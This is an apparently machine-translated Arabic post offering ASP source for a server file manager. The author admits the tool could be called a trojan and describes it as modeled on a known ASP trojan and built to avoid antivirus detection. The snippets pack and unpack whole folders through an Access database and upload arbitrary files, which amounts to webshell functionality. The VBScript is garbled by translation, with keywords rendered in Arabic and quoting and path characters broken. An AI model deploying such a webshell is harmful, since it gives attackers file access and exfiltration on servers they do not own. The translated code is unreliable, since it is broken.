هذا هو متصفح ملفات FSO مكتوب باستخدام كائنات مجموعة FSO (إذا كنت تصر على القول بأنه حصان طروادة، فليس لدي أي اعتراض). من الناحية الوظيفية، فهو يقلد تصميم "Top Trojan of the Ocean"، ولكن تمت إعادة كتابة الكود بالكامل استخدام مكونات مثل Shell.Application التي يمكن أن تتسبب بسهولة في القتل العرضي بواسطة برامج مكافحة الفيروسات. هناك العديد من الأدوات المشابهة على الإنترنت، وقيمة استخدام هذه الأداة ليست كبيرة جدًا، ولكن العديد من الأكواد الموجودة بها تعتبر مكتوبة بشكل جيد.
تشمل الميزات الرئيسية ما يلي: عرض معلومات القرص، وتصفح ملفات القرص، والعمل بطريقة مشابهة لمستكشف Windows، مثل إنشاء الملفات النصية وحذفها وإعادة تسميتها ونسخها ونقلها وعمليات تحرير الملفات النصية الأساسية الأخرى.
يعمل تنزيل ملف وضع الدفق على تبسيط وتحسين تعبئة/تفريغ ملف التحميل الخالي من المكونات. يمكن تعبئة/تفريغ المجلد بالكامل.
مقتطف الكود:
1. جزء تعبئة/تفريغ الملف
الحزمة الفرعية ( ByVal FPath، ByVal sDbPath) Server.ScriptTimeOut=900 خافت DbPath إذا كان اليمين (sDbPath,4)= ".mdb" ثم DbPath=sDbPath آخر DbPath=sDbPath ".mdb" نهاية لو إذا كان oFso.FolderExists(DbPath) إذن EchoBack "لا يمكن إنشاء ملف قاعدة البيانات!" &Replace(DbPath, ""، \") مخرج الفرعية نهاية لو إذا كان oFso.FileExists(DbPath) إذن oFso.DeleteFile DbPath نهاية لو إذا IsFolder(FPath) ثم RootPath=GetParentFolder(FPath) إذا كان Right(RootPath,1)<> "" ثم RootPath=RootPath&" " آخر EchoBack "الرجاء إدخال مسار المجلد!" مخرج الفرعية نهاية لو خافت oCatalog، connStr، DataName تعيين conn=Server.CreateObject( "ADODB.Connection" ) قم بتعيين oStream=Server.CreateObject( "ADODB.Stream" ) قم بتعيين oCatalog=Server.CreateObject( "ADOX.Catalog" ) تعيين rs=Server.CreateObject( "ADODB.RecordSet" ) على خطأ سيرة ذاتية التالي connStr = "Provider=Microsoft.Jet.OLEDB.4.0; مصدر البيانات =" & DbPath oCatalog.Create connStr إذا أخطأت ثم EchoBack "لا يمكن إنشاء ملف قاعدة البيانات!" &Replace(DbPath, ""، \") مخرج الفرعية نهاية لو تعيين oCatalog = لا شيء conn.Open connStr conn.Execute( "إنشاء ملفات جدول (ID int IDENTITY(0,1) PRIMARY KEY CLUSTERED، FilePath VarChar، FileData Image)" ) oStream.Open oStream.Type=1 rs.Open "الملفات" ، conn،3،3 DataName=Left(oFso.GetFile(DbPath).Name,InstrRev(oFso.GetFile(DbPath).Name, "." )-1) NoPackFiles=Replace(NoPackFiles, "<$datafile>" ,DataName) قائمة الملفات الفاشلة = "" PackFolderFPath إذا FailFilelist = "" ثم EchoClose "تم تغليف المجلد بنجاح!" آخر Response.Write " " Response.Write "" Response.Write "" &Replace(FailFilelist, "|" , " " ) "" نهاية لو oStream.Close إغلاق conn.Close نهاية الفرعية مجلد الحزمة الفرعية (مسار المجلد) لو ليس IsFolder(FolderPath) إذن مخرج الفرعية خافت oFolder، sFile، sFolder تعيين oFolder=oFso.GetFolder(FolderPath) ل كل ملف موجود في oFolder.Files إذا كان InStr(NoPackFiles, "|" &sFile.Name "|" )<1 إذن PackFile sFile.Path نهاية لو التالي تعيين sFile = لا شيء ل كل مجلد في oFolder.SubFolders PackFolder sFolder.Path التالي تعيين مجلد = لا شيء نهاية الفرعية ملف الحزمة الفرعية (مسار الملف) خافت RelPath RelPath=Replace(FilePath,RootPath, "" ) على خطأ سيرة ذاتية التالي خطأ.واضح خطأ = خطأ oStream.LoadFromFile FilePath rs.AddNew rs( "FilePath" )=RelPath rs( "FileData" )=oStream.Read() تحديث إذا أخطأت ثم FailFilelist=FailFilelist&FilePath "|" نهاية لو نهاية الفرعية فك الحزمة الفرعية (vFolderPath،DbPath) Server.ScriptTimeOut=900 خافت FilePath،FolderPath،sFolderPath FolderPath=vFolderPath FolderPath=تريم(FolderPath) إذا كان منتصف (FolderPath,2,1)<> ": ثم EchoBack "تنسيق المسار غير صحيح ولا يمكن إنشاء الدليل!" مخرج الفرعية نهاية لو إذا كان اليمين (FolderPath,1)= "" ثم FolderPath=Left(FolderPath,Len(FolderPath)-1) ديم كونستر تعيين conn=Server.CreateObject( "ADODB.Connection" ) قم بتعيين oStream=Server.CreateObject( "ADODB.Stream" ) تعيين rs=Server.CreateObject( "ADODB.RecordSet" ) connStr = "Provider=Microsoft.Jet.OLEDB.4.0; مصدر البيانات =" & DbPath على خطأ سيرة ذاتية التالي خطأ = خطأ conn.Open connStr إذا أخطأت ثم EchoBack "خطأ في فتح قاعدة البيانات!" مخرج الفرعية نهاية لو خطأ = خطأ oStream.Open oStream.Type=1 rs.Open "الملفات" ,conn,1,1 قائمة الفشل = "" يفعل حتى روبية.EOF خطأ.واضح خطأ = خطأ FilePath=FolderPath ""&rs(" FilePath") FilePath=Replace(FilePath, "\"، " ") sFolderPath=Left(FilePath,InStrRev(FilePath, "" )) لو ليس oFso.FolderExists(sFolderPath) إذن إنشاء مجلد (sFolderPath) نهاية لو oStream.SetEos() oStream.Write rs( "بيانات الملف" ) oStream.SaveToFile FilePath،2 إذا أخطأت ثم FailFilelist=FailFilelist&rs( "FilePath" ).Value "|" نهاية لو rs.MoveNext حلقة إغلاق تعيين RS = لا شيء conn.Close تعيين كون = لا شيء اضبط oStream = لا شيء إذا FailFilelist = "" ثم EchoClose "تم تفريغ الملف بنجاح!" آخر Response.Write " " Response.Write "" Response.Write "" &Replace(FailFilelist, "|" , " " ) "" نهاية لو نهاية الفرعية
2. جزء تحميل الملف (ملف واحد):
Sub Saveupload ( ByVal FolderName) لو ليس IsFolder(FolderName) ثم EchoClose "لم يتم تحديد مجلد تحميل!" مخرج الفرعية نهاية لو مسار خافت ، مسار IsOverWrite = اسم المجلد إذا كان Right(Path,1)<> "" ثم Path=Path&" " FileName=Replace(Request( "filename" ), ""، " ") إذا كان Len(FileName)<1 ثم EchoBack "الرجاء تحديد الملف وإدخال اسم الملف!" مخرج الفرعية نهاية إذا كان المسار = المسار إذا كان LCase(Request( "overwrite" ))= "true" ثم IsOverWrite = صحيح وإلا IsOverWrite = خطأ نهاية لو على خطأ سيرة ذاتية التالي استدعاء MyUpload(المسار،IsOverWrite) إذا حدث خطأ ، فإن EchoBack "فشل تحميل الملف! (قد يكون الملف موجودًا بالفعل)" آخر EchoClose "تم تحميل الملف بنجاح!n" & Replace(fileName, "", " \") نهاية إذا النهاية الفرعي Sub MyUpload(FilePath,IsOverWrite) Dim oStream,tStream,FileName,sData,sSpace,sInfo,iSpaceEnd,iInfoStart,iInfoEnd,iFileStart,iFileEnd,iFileSize,RequestSize,bCrLf RequestSize=Request.TotalBytes إذا كان حجم الطلب <1 ثم مخرج الفرعية قم بتعيين oStream=Server.CreateObject( "ADODB.Stream" ) قم بتعيين tStream=Server.CreateObject( "ADODB.Stream" ) مع oStream .Type=1 .Mode=3 .Open .Write=Request.BinaryRead(RequestSize) .Position=0 sData=.Read bCrLf=ChrB(13)&ChrB(10) iSpaceEnd=InStrB(sData,bCrLf)-1 sSpace =LeftB(sData,iSpaceEnd) iInfoStart=iSpaceEnd+3 iInfoEnd=InStrB(iInfoStart,sData,bCrLf&bCrLf)-1 iFileStart=iInfoEnd+5 iFileEnd=InStrB(iFileStart,sData,sSpace)-3 sData= "" iFileSize=iFileEnd-iFileStart+1 tStream.Type=1 tStream.Mode=3 tStream.Open .Position=iFileStart-1 .CopyTo tStream,iFileSize إذا IsOverWrite ثم tStream.SaveToFile FilePath،2 آخر tStream.SaveToFile FilePath نهاية إذا كان tStream.Close .Close نهاية مع SettStream = لا شيء اضبط oStream= لا شيء ينتهي الفرعية